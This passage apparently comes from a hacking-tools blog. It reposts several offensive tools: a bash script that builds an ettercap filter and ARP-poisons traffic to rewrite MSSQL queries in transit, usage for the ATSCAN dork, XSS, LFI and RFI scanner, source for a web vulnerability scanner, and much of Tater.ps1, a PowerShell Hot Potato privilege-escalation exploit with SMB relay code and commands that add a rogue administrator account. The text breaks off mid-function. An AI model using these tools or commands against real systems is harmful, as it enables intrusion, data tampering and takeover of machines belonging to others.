        echo "     Optional. Specifiy the MSSQL traffic port. Defaults to 1433."
}
 
# If not enough arguments then quit
if [ $# -lt "4" ]; then
        print_help
        exit 1
fi
 
COUNTER=0 #Count from zero to number of arguments
while [ $COUNTER -lt $# ]; do
        if [ "${args[$COUNTER]}" == "--help" ]; then
                print_help
                exit 0
 
        elif [ "${args[$COUNTER]}" == "-o" ]; then
                COUNTER=$(($COUNTER+1))
                OldQuery=${args[$COUNTER]}
 
        elif [ "${args[$COUNTER]}" == "-i" ]; then
                COUNTER=$((COUNTER+1))
                NewQuery=${args[$COUNTER]}
 
        elif [ "${args[$COUNTER]}" == "-s" ]; then
                COUNTER=$((COUNTER+1))
                ServerIP=${args[$COUNTER]}
 
        elif [ "${args[$COUNTER]}" == "-c" ]; then
                COUNTER=$((COUNTER+1))
                ClientIP=${args[$COUNTER]}
 
        elif [ "${args[$COUNTER]}" == "-f" ]; then
                COUNTER=$((COUNTER+1))
                FileName=${args[$COUNTER]}
 
        elif [ "${args[$COUNTER]}" == "-p" ]; then
                COUNTER=$((COUNTER+1))
                SqlPort=${args[$COUNTER]}
 
        else
                echo "Error: Unknown argument \"${args[$COUNTER]}\""
                echo ""
                print_help
                exit 1
        fi
 
        COUNTER=$(($COUNTER+1))
done;
 
# Is anything missing?
if [ "$ServerIP" == "NULL" ]; then
        echo "You must specify server IP!"
        exit 1
 
elif [ "$ClientIP" == "NULL" ]; then
        echo "You must specify client IP!"
        exit 1
 
elif [ "$FileName" == "NULL" ]; then
        echo "You must specify the file name for the ettercap filter!"
        exit 1
fi
 
# Calculate length of injected SQL query
length2=`echo $NewQuery | wc -m`
length2=$((length2 - 1))
echo "New string is $length2 bytes"
 
# Calculate length of original SQL query
length1=`echo $OldQuery | wc -m`
length1=$((length1 - 1))
echo "Original string is $length1 bytes"
 
# What's the difference?
difference=$((length1 - length2))
echo "Difference is $difference bytes"
 
# If the new string is too long it won't work
if [ $difference -lt 0 ]; then
        echo ""
        echo "New SQL query is longer than original! Quitting..."
        exit 0
fi
 
temp=""
for i in `seq 1 $difference`;
do
        temp="$temp "
done
PaddedQuery="$NewQuery$temp"
echo "PaddedQuery is \"$PaddedQuery\""
echo ""
 
IFS=$'\n' # change separater to newline only. Required or the for loop skips spaces
 
echo "Converting original query to hex..."
# Convert original query to hex string with NULL padding (How it appears over the wire)
OldQueryHex=""
for line in $(echo $OldQuery | sed -e 's/\(.\)/\1\n/g')
do
        OldQueryHex="$OldQueryHex\x"
        temp=`echo $line | hexdump -C |head -n1 | awk -F"  " {'print $2'} | awk {'print $1'}`
        OldQueryHex="$OldQueryHex$temp"
        OldQueryHex="$OldQueryHex\x00"
done
 
echo "Converting new query to hex..."
# Convert new query to hex string now.
NewQueryHex=""
for line in $(echo $PaddedQuery | sed -e 's/\(.\)/\1\n/g')
do
        NewQueryHex="$NewQueryHex\x"
        temp=`echo $line | hexdump -C |head -n1 | awk -F"  " {'print $2'} | awk {'print $1'}`
        NewQueryHex="$NewQueryHex$temp"
        NewQueryHex="$NewQueryHex\x00"
done
 
echo "Writing ettercap filter now..."
 
# Start writing actual ettercap filter file
echo "if (ip.proto == TCP && tcp.dst == $SqlPort) {" > $FileName
echo "       msg(\"SQL traffic discovered\");" >> $FileName
echo "       if (search(DATA.data,\"$OldQueryHex\")) {" >> $FileName
echo "              msg(\"Found our string!\");" >> $FileName
echo "              replace(\"$OldQueryHex\",\"$NewQueryHex\");" >> $FileName
echo "              msg(\"...and replaced it :)\");" >> $FileName
echo "       }" >> $FileName
echo "}" >> $FileName
 
# Exeute etterfilter to create the compiled filter
etterfilter $FileName -o $FileName.ef
 
# Execute ettercap and load the filter
ettercap -T -q -F ./$FileName.ef -M ARP //$ServerIP// //$ClientIP//
 
echo ""
echo "Completed Successfully!"

Source : http://pastebin.com/Nge9rx7g |
for usage detail here: https://blog.anitian.com/hacking-microsoft-sql-server-without-a-password/

ATSCAN v6.1 stable – perl script for vulnerable Server, Site and dork scanner.

$
0
0

Latest Change v6.1 14/2/2016:
+ Remove duplicated option.
+ Added option scan by range.

Description:
ATSCAN
SEARCH engine
XSS scanner.
Sqlmap.
LFI scanner.
Filter wordpress and Joomla sites in the server.
Find Admin page.
Decode / Encode MD5 + Base64.

atscan v6.1

atscan v6.1

Libreries to install:
ap-get install libxml-simple-perl
aptitude install libio-socket-ssl-perl
aptitude install libcrypt-ssleay-perl
NOTE: Works in linux platforms. Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy.

Examples:
Simple search:
Search: –dork [dork] –level [level]
Search + get ip: –dork [dork] –level [level] –ip
Search + get ip + server: –dork [dork] –level [level] –ip –server
Search with many dorks: –dork [dork1,dork2,dork3] –level [level]
Search + get ip+server: –dork [dorks.txt] –level [level]
Search + set save file: –dork [dorks.txt] –level [level] –save myfile.txt
Search + Replace + Exploit: –dork [dorks.txt] –level [level] –replace [string] –with [string] –valid [string]

Subscan from Serach Engine:
Search + Exploitation: –dork [dork] –level [10] –xss/–lfi/–wp …
Search + Server Exploitation: -t [ip] –level [10] –xss/–lfi/–wp …
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –exp [exploit] –xss/–lfi/–wp …

Validation:
Search + Exploit + Validation: –dork [dork] –level [10] –exp –isup/–valid [string]
Search + Server Exploit + Validation: -t [ip] –level [10] –exp –isup/–valid [string]
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –isup/–valid [string]

Use List / Target:
-t [target/targets.txt] –exp –isup/–valid [string]
-t [target/targets.txt] –xss/–lfi ..

Server:
Get Server sites: -t [ip] –level [value] –sites
Get Server wordpress sites: -t [ip] –level [value] –wp
Get Server joomla sites: -t [ip] –level [value] –joom
Get Server upload sites: -t [ip] –level [value] –upload
Get Server zip sites files: -t [ip] –level [value] –zip
WP Arbitry File Download: -t [ip] –level [value] –wpadf
Joomla RFI: -t [ip] –level [1] –joomfri –shell [shell link]
Scan basic tcp (quick): -t [ip] –ports –basic tcp
Scan basic udp basic (quick): -t [ip] –ports –basic udp
Scan basic udp+tcp: -t [ip] –ports –basic udp+tcp
Scan complete tcp: -t [ip] –ports –all tcp
Scan complete udp: -t [ip] –ports –all udp
Scan complete udp+tcp: -t [ip] –ports –all udp+tcp
Scan rang tcp: -t [ip] –ports –select tcp –start [value] –end [value]
Scan rang udp: -t [ip] –ports –select udp–start [value] –end [value]
Scan rang udp + tcp: -t [ip] –ports –select udp+tcp –start [value] –end [value]

Encode / Decode:
Generate MD5: –md5 [string]
Encode base64: –encode64 [string]
Decode base64: –decode64 [string]

External Command:
–dork [dork/dorks.txt] –level [level] –command “curl -v –TARGET”
–dork [dork/dorks.txt] –level [level] –command “curl -v –FULL_TARGET”
-t [target/targets.txt] –level [level] –command “curl -v –TARGET”
-t [target/targets.txt] –command “curl -v –FULL_TARGET”

How to Usage:

git clone https://github.com/AlisamTechnology/ATSCAN
cd ATSCAN
perl atscan.pl

Update:
cd ATSCAN
git pull origin master

Source : https://github.com/AlisamTechnology | Our Post Before

Illinois – Vulnerabilities Scan Script

$
0
0

Illinois is a Scan Vulnerabilities Script for dns or ip.
requirements:
+ python 2.7
+ httplib,urllib & HTMLParser.illinois
with optional arguments:
-h, –help, show this help message and exit
-t TARGET, –target TARGET, Target = > DNS or IP.
-p PORT, –port PORT Service Port
-d DIRETORY, –diretory DIRETORY, Diretory Listening
-v VERVOSE, –vervose VERVOSE, Show all-process runing

Usage:

git clone https://github.com/RedToor/Illinois && cd Illinois
python Illinois.py

Script:

# Illinois Scan Vulnerabilities Script 
# Author  : RedToor 
# Version : 0.0.0.1

print """
	'####'##::::::'##::::::'####'##::: ##:'#######:'####:'######::
	. ##::##:::::::##::::::. ##::###:: ##'##.... ##. ##:'##... ##:
	: ##::##:::::::##::::::: ##::####: ##:##:::: ##: ##::##:::..::
	: ##::##:::::::##::::::: ##::## ## ##:##:::: ##: ##:. ######::
	: ##::##:::::::##::::::: ##::##. ####:##:::: ##: ##::..... ##:
	: ##::##:::::::##::::::: ##::##:. ###:##:::: ##: ##:'##::: ##:
	'####:########:########'####:##::. ##. #######:'####. ######::
	....:........:........:....:..::::..::.......::....::......:::
	[Vulnerabilities Scan Script] By RedToor 
                                                                                            
"""

# timeout request
TimeoutRequest = 10
# Vervose function
Vervose="false" 
# Default Port 
port = 80
# Default Patch
Patch = "/"

from HTMLParser import HTMLParser
import httplib,urllib  
import argparse
import time 

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help=" Target = > DNS or IP.")
parser.add_argument("-p", "--port", help=" Service Port")
parser.add_argument("-d", "--diretory", help=" Diretory Listening")
parser.add_argument("-v", "--vervose", help=" Show all-process runing")

args = parser.parse_args()
target=args.target
port=args.port
Patch=args.diretory
Vervose=args.vervose

global Diretory , Files 
Diretory = []
Files    = []
ParamArray = ""
LDiretory = ""
LFiles    = ""
FilesArray = ""
LinksArray = ""
HTMLoutput = ""
HTMLoutputHotFiles=""
IMGfiles  = 0
HTMfiles  = 0
Dangerfiles = 0
Directories = 0

if target[:7] == "http://":
	target=target[7:]


def RequestToTarget(Patch):
	try:
		conn = httplib.HTTPConnection(target,port, timeout=TimeoutRequest)
		conn.request("GET", Patch)
		response = conn.getresponse()
		if response.status == 200:
			return response.read()
	except:
		Error="null"

class myhtmlparser(HTMLParser):
    def __init__(self):
        self.reset()
        self.NEWTAGS = []
        self.NEWATTRS = []
        self.HTMLDATA = []
    def handle_starttag(self, tag, attrs):
        self.NEWTAGS.append(tag)
        self.NEWATTRS.append(attrs)
    def handle_data(self, data):
        self.HTMLDATA.append(data)
    def clean(self):
        self.NEWTAGS = []
        self.NEWATTRS = []
        self.HTMLDATA = []


def OutputHTML(DATA, HOTFILES):
	log=open('Report['+target+'].html','w')
	HTML= """
			<html>
			<head>
				<title> Illinois Report </title>
			</head>
			<body>
				<style type="text/css">
				.top      {font-size: 22px; background-color: red; color: #FFFFFF;  text-align: left;}
				a:link      {background-color: #d7d7d7; color: black}
			    a:visited   {background-color: #d7d7d7;}
			    a:hover     {background-color: red;}
			    a:active    {background-color: #d7d7d7;} 
				</style>
				<h1><div class=top> Report ["""+target+"""] - """+time.strftime('%c')+"""</div>
			</body>
	"""
	log.write(HTML)
	log.write("<table>"+DATA+"</table>")
	log.write("<h2> Hot Files </2><table>"+HOTFILES+"</table>")
	log.close()

def ParsingToSource(Patch):
	global Diretory , Files  , LFiles , IMGfiles , HTMfiles , Dangerfiles , FilesArray , HTMLoutput , HTMLoutputHotFiles , Directories , LinksArray , ParamArray
	try:
		parser = myhtmlparser()
		parser.feed(RequestToTarget(Patch))
		tags  = parser.NEWTAGS
		attrs = parser.NEWATTRS
		data  = parser.HTMLDATA
		parser.clean()
		LFiles = " Patch : "+Patch
		for attr in attrs:
			if True:
				for name, value in attr:
					if name == "href" or name == "src" :
						Objet = value
						if Objet != "/" and Objet!="":
							if Objet[-1:] == "/" and Objet[:1]!="/" and Objet[:4]!="http":
								Check = Patch+Objet in Diretory
								if Check == False:
									Directories+=1
									Diretory.append(Patch+Objet)
							else:
								if Objet[-4:]==".png" or Objet[-4:]==".jpg" or Objet[-4:]==".ico" or Objet[-4:]==".git":
									IMGfiles+=1
								if Objet[-4:]==".html" or Objet[-4:]==".htm" or Objet[-4:]==".html5":
									HTMfiles+=1
								if Objet[-4:]==".php" or Objet[-4:]==".php5" or Objet[-4:]==".sql" or Objet[-4:]==".txt":
									Dangerfiles+=1
									FilesArray+="\t["+Objet+"]\n"
									HTMLoutputHotFiles+="\t<tr><td><font style='background-color:red;color:white;'><a href='http://"+target+Patch+Objet+"' target='_blank'>"+Objet+"</td></font></tr>"
								if Objet[:4]=="http":
									LinksArray+="\t["+Objet+"]\n"
								if Objet.find("?") >= 0:
									ParamArray+="\t["+target+Patch+Objet+"]\n"
								LFiles+="\n\t|-"+Objet
								HTMLoutput+="\t<tr><td><a href='http://"+target+Patch+Objet+"' target='_blank'>"+Objet+"</td></tr>"

		print "\t ---------------------------"
	except:
		Patrin=2
	if Vervose != "false":
			print LFiles


if __name__=="__main__":
	print " ["+time.strftime('%c')+"] Starting Scanning to ("+target+") \n"
	print " ["+time.strftime('%H:%M:%S')+"] Scanning Folders of Target..."
	ParsingToSource(Patch)
	for D in Diretory:
		if D != Patch:
			ParsingToSource(D)

	if (FilesArray!=""):
		print ("\n [Warning Files]")
		print FilesArray
	if (LinksArray!=""):
		print ("\n [Links]")
		print LinksArray
	if (ParamArray!=""):
		print ("\n [Files with Parameters]")
		print ParamArray
	OutputHTML(HTMLoutput, HTMLoutputHotFiles)
	print ("\n [Staticts Files]")
	print (" | Folders  |  Imagen Files  |  HTML Files |  Warning Files | ")
	print (" |    "+str(Directories)+"\t    |     "+str(IMGfiles)+"\t     |   "+str(HTMfiles)+"\t   |      "+str(Dangerfiles)+"\t    |")
	print ("\n ["+time.strftime('%H:%M:%S')+"] Finshed, Report in Report["+target+"].html file.")

Source: https://github.com/RedToor


Updates Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

$
0
0

Latest change 15/2/2016:
Added the following parameters:
+ NBNSLimit – Default = Enabled: Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly.
WPADPort – Default = 80: Specify a proxy server port to be included in a the wpad.dat file.
+ SpooferIP – Specify an IP address for NBNS spoofing.
WPADPort and SpooferIP, along with HTTPPort, can be used to get around an in-use port 80 on the privesc target. I believe potato.exe also now
has similiar options.

Tater.ps1

Tater.ps1

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit. Tater is mainly pieced together from existing Inveigh code.

Notes
Use caution, this is still very much in a proof of concept stage. It’s only been tested on Windows 7. It’s also missing some of the advanced features found in Potato.
The most likely thing to go wrong is that the HTTP listener will not release the port 80 binding on exit. If this happens, closing out your PowerShell process will remove the binding.

Example usage Tater.ps1

Example usage Tater.ps1

Example usage :

Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add" –RunTime 10

Tater.ps1 Script:

Function Invoke-Tater
{
<#
.SYNOPSIS
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.
.DESCRIPTION
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. It has functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato.
.PARAMETER IP
Specify a specific local IP address.
.PARAMETER SpooferIP
Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target. 
.PARAMETER Command
Command to execute as SYSTEM on the localhost.
.PARAMETER NBNS
Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing. 
.PARAMETER NBNSLimit
Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly.
.PARAMETER ExhaustUDP
Default = Disabled: Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
.PARAMETER HTTPPort
Default = 80: Specify a TCP port for HTTP listener and redirect response.
.PARAMETER Hostname
Default = WPAD: Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008.
.PARAMETER WPADDirectHosts
Comma separated list of hosts to list as direct in the wpad.dat file. Note that 'localhost' is always listed as direct.
.PARAMETER WPADPort
Default = 80: Specify a proxy server port to be included in a the wpad.dat file.
.PARAMETER Trigger
Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task
.PARAMETER Taskname
Default = omg: Scheduled task name to use with trigger 2.
.PARAMETER RunTime
(Integer) Set the run time duration in minutes.
.PARAMETER ConsoleOutput
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER Tool
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire  
.EXAMPLE
Invoke-Tater -Command "net user Dave Winter2016 /add && net localgroup administrators Dave /add"
.LINK
https://github.com/Kevin-Robertson/Tater
#>

# Default parameter values can be modified in this section 
param
( 
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNSLimit="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ExhaustUDP="N",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
    [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
    [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="",
    [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="127.0.0.1",
    [parameter(Mandatory=$false)][int]$HTTPPort="80",
    [parameter(Mandatory=$false)][int]$RunTime="",
    [parameter(Mandatory=$false)][ValidateSet(0,1,2)][int]$Trigger="1",
    [parameter(Mandatory=$true)][string]$Command = "",
    [parameter(Mandatory=$false)][string]$Hostname = "WPAD",  
    [parameter(Mandatory=$false)][string]$Taskname = "Tater",
    [parameter(Mandatory=$false)][string]$WPADPort="80",
    [parameter(Mandatory=$false)][array]$WPADDirectHosts,
    [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
    throw "$($invalid_parameter) is not a valid parameter."
}

if(!$IP)
{ 
    $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
}

if(!$Command)
{
    Throw "You must specify an -Command if enabling -SMBRelay"
}

if(!$tater)
{
    $global:tater = [hashtable]::Synchronized(@{})
}

if($tater.running)
{
    Throw "Invoke-Tater is already running, use Stop-Tater"
}

$tater.console_queue = New-Object System.Collections.ArrayList
$tater.status_queue = New-Object System.Collections.ArrayList
$tater.console_output = $true
$tater.console_input = $true
$tater.running = $true
$tater.exhaust_UDP_running = $false
$tater.hostname_spoof = $false
$tater.SMB_relay_active_step = 0
$tater.SMB_relay = $true
$tater.trigger = $Trigger

if($StatusOutput -eq 'y')
{
    $tater.status_output = $true
}
else
{
    $tater.status_output = $false
}

if($Tool -eq 1) # Metasploit Interactive Powershell
{
    $tater.tool = 1
    $tater.newline = ""
    $ConsoleOutput = "N"
}
elseif($Tool -eq 2) # PowerShell Empire
{
    $tater.tool = 2
    $tater.console_input = $false
    $tater.newline = "`n"
    $ConsoleOutput = "Y"
    $ShowHelp = "N"
}
else
{
    $tater.tool = 0
    $tater.newline = ""
}

if($Trigger -eq 2)
{
    $NBNS = 'N'
}

# Write startup messages
$tater.status_queue.add("$(Get-Date -format 's') - Tater (Hot Potato Privilege Escalation) started")|Out-Null
$tater.status_queue.add("Local IP Address = $IP") |Out-Null

if($HTTPPort -ne 80)
{
    $tater.status_queue.add("HTTP Port = $HTTPPort")|Out-Null
}

if($NBNS -eq 'y')
{
    $tater.status_queue.add("Spoofing Hostname = $Hostname")|Out-Null

    if($NBNSLimit -eq 'n')
    {
        $tater.status_queue.add("NBNS Bruteforce Spoofer Limiting Disabled")|Out-Null
    }
}
else
{
    $tater.status_queue.add("NBNS Bruteforce Spoofing Disabled")|Out-Null
}

if($SpooferIP -ne '127.0.0.1')
{
    $tater.status_queue.add("NBNS Spoofer IP Address = $SpooferIP")|Out-Null
}

if($WPADDirectHosts.Count -gt 0)
{
    $tater.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null
}

if($WPADPort -ne 80)
{
    $tater.status_queue.add("WPAD Port = $WPADPort")|Out-Null
}

if($ExhaustUDP -eq 'y')
{
    $tater.status_queue.add("UDP Port Exhaustion Enabled")|Out-Null
}

if($Trigger -eq 0)
{
    $tater.status_queue.add("Relay Trigger Disabled")|Out-Null
}
elseif($Trigger -eq 1)
{
    $tater.status_queue.add("Windows Defender Trigger Enabled")|Out-Null
}
elseif($Trigger -eq 2)
{
    $tater.status_queue.add("Scheduled Task Trigger Enabled")|Out-Null
    $tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null
    $tater.taskname = $Taskname
}

if($ConsoleOutput -eq 'y')
{
    $tater.status_queue.add("Real Time Console Output Enabled")|Out-Null
    $tater.console_output = $true
}
else
{
    if($tater.tool -eq 1)
    {
        $tater.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
    }
    else
    {
        $tater.status_queue.add("Real Time Console Output Disabled")|Out-Null
    }
}

if($RunTime -eq '1')
{
    $tater.status_queue.add("Run Time = $RunTime Minute")|Out-Null
}
elseif($RunTime -gt 1)
{
    $tater.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
}

if($ShowHelp -eq 'y')
{
    $tater.status_queue.add("Run Stop-Tater to stop Tater early")|Out-Null
        
    if($tater.console_output)
    {
        $tater.status_queue.add("Use Get-Command -Noun Tater* to show available functions")|Out-Null
        $tater.status_queue.add("Press any key to stop real time console output")|Out-Null
        $tater.status_queue.add("")|Out-Null
    }
}

if($tater.status_output)
{
    while($tater.status_queue.Count -gt 0)
    {
        write-output($tater.status_queue[0] + $tater.newline)
        $tater.status_queue.RemoveRange(0,1)
    }
}

$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
$process_ID = $process_ID -replace "-00-00",""
[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}

# Begin ScriptBlocks

# Shared Basic Functions ScriptBlock
$shared_basic_functions_scriptblock =
{
    Function DataToUInt16($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt16($field,0)
    }

    Function DataToUInt32($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt32($field,0)
    }

    Function DataLength
    {
        param ([int]$length_start,[byte[]]$string_extract_data)

        $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
        return $string_length
    }

    Function DataToString
    {
        param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data)

        $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
        $string_data = $string_data -replace "-00",""
        $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
        return $string_extract
    }

    Function DnsFlushResolverCache
    {
        $DNS_member_definition = @'
            [DllImport("dnsapi.dll", EntryPoint="DnsFlushResolverCache")]
            private static extern UInt32 DnsFlushResolverCache();
            public static void FlushResolverCache()
            {
                UInt32 result = DnsFlushResolverCache();
            }
'@

        Add-Type -MemberDefinition $DNS_member_definition -Namespace DNSAPI -Name Flush -UsingNamespace System.Collections,System.ComponentModel
        [DNSAPI.Flush]::FlushResolverCache()
    }

    Function HTTPListenerStop
    {
        $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
        $tater.HTTP_client.Close()
        start-sleep -s 1
        $tater.HTTP_listener.server.blocking = $false
        Start-Sleep -s 1
        $tater.HTTP_listener.server.Close()
        Start-Sleep -s 1
        $tater.HTTP_listener.Stop()
        $tater.running = $false
    }
}

# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response
$SMB_NTLM_functions_scriptblock =
{
    Function SMBNTLMChallenge
    {
        param ([byte[]]$payload_bytes)

        $payload = [System.BitConverter]::ToString($payload_bytes)
        $payload = $payload -replace "-",""
        $NTLM_index = $payload.IndexOf("4E544C4D53535000")

        if($payload.SubString(($NTLM_index + 16),8) -eq "02000000")
        {
            $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16)
        }

        return $NTLM_challenge
    }
}

# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target
$SMB_relay_challenge_scriptblock =
{
    Function SMBRelayChallenge
    {
        param ($SMB_relay_socket,$HTTP_request_bytes)

        if ($SMB_relay_socket)
        {
            $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024

        $i = 0
        
        :SMB_relay_challenge_loop while ($i -lt 2)
        {
            switch ($i)
            {
                0 {
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)
                }
                
                1 { 
                    $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
                    $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
                    $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
                    $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
                    $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
                    $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
                    $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
                    $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
                    $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87))
                    $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
                    $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    [array]::Reverse($SMB_netbios_length)
                    
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
                        + $SMB_netbios_length`
                        + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_blob_length`
                        + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                        + $SMB_byte_count`
                        + $HTTP_request_bytes`
                        + (0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                        + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)
                }
            }

            $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length)
            $SMB_relay_challenge_stream.Flush()
    
            $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length)

            $i++
        }
        
        return $SMB_relay_challenge_bytes
    }
}

# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target
$SMB_relay_response_scriptblock =
{
    Function SMBRelayResponse
    {
        param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID)
    
        $SMB_relay_response_bytes = New-Object System.Byte[] 1024

        if ($SMB_relay_socket)
        {
            $SMB_relay_response_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
        $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
        $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
        $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
        $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88))
        $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
        $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        [array]::Reverse($SMB_netbios_length)
        $j = 0

        :SMB_relay_response_loop while ($j -lt 1)
        {
            [Byte[]] $SMB_relay_response_send = (0x00,0x00)`
                + $SMB_netbios_length`
                + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
